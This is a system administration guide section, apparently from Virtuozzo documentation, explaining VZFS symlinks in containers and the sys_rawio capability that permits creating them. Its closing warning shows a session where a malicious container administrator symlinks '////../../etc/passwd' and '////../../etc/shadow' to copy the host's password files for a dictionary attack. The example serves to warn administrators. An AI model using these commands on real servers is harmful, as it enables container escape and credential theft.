Creating VZFS Symlinks Inside a Container

Normally it is impossible to create a VZFS symlink from a Container. The ability to create VZFS symlinks presents a serious security concern explained further in this subsection. However, there may be a situation when you need such an ability, for example, for testing created templates or creating VZFS mounts.

A VZFS symlink is a symbolic link starting with four slashes. You can see VZFS symlinks in the private area of any Container, as is illustrated below:

# ls -l /vz/private/101/root/bin/bash

lrwxr-xr-x 1 root root 37 Jul 9 2009 \

/vz/private/101/root/bin/bash -> \

////redhat-as4/bash-3.0-19.2/bin/bash

VZFS symlinks have no special meaning if the private area is not mounted over VZFS (to the Container root directory). If it is, then instead of a VZFS symlink the users inside the Container will see the file located in the template directory (in this particular case, /vz/template/redhat-as4/bash-3.0-19.2/bin/bash ) instead of the VZFS symlink.

If you try to create a VZFS symlink inside the Container, you will get an error:

[root@ct101 root]# ln -s ////redhat-as4/bash-3.0-19-2/bin/bash .

ln: creating symbolic link `./bash' to \

`////redhat-as4/bash-3.0-19.2/bin/bash': Invalid argument

The reason for this restriction is security considerations. If an intruder can correctly guess where the template area (defined by the TEMPLATE variable in the global configuration file /etc/sysconfig/vz ) is located, he/she can access any file on the server provided the path to the file is guessed correctly. However, in case it is necessary to allow the VZFS symlinks creation inside a Container, it is possible to make use of the sys_rawio capability:

# vzctl set 101 --capability sys_rawio:on --save

Unable to set capability on running Container

Saved parameters for Container 101

After restarting the Container, you can unpack VZRPMs inside the Container or simply create VZFS symlinks:

# ssh root@ct101

root@ct101's password:

Last login: Mon Oct 28 23:25:58 2008 from 10.100.40.18

[root@ct101 root]# rpm2cpio bash-3.0-19.2.i386.vz.rpm | cpio -id

94 blocks

[root@ct101 root]# ls -l bin/bash

-rwxr-xr-x 1 root root 519964 Oct 29 23:35 bin/bash

[root@ct101 root]# ln -s ////redhat-as4/bash-3.0-19.2/bin/bash .

[root@ct101 root]# ls -l bash

-rwxrwxrwx 1 root root 519964 Oct 29 23:35 bash

As you can see both VZFS symlinks look like regular files for Container users. If you need to unpack and work on symlinks themselves, you have to create a Container that has a directory bind-mounted over a regular file system such as EXT2FS, EXT3FS or ReiserFS.

Remember that assigning this capability to non-trusted Containers can lead to compromising the server. The session below shows how a malicious Container administrator can get a copy of the server password database files:

[root@ct101 root]# ln -s ////../../etc/passwd .

[root@ct101 root]# ln -s ////../../etc/shadow .

[root@ct101 root]# ls -l

total 3

-rwxrwxrwx 1 root root 1252 Oct 29 23:56 passwd

-rwxrwxrwx 1 root root 823 Oct 29 23:56 shadow

While there is no easy way to substitute the password files on the server, a malicious Container administrator could run a dictionary attack against the obtained files.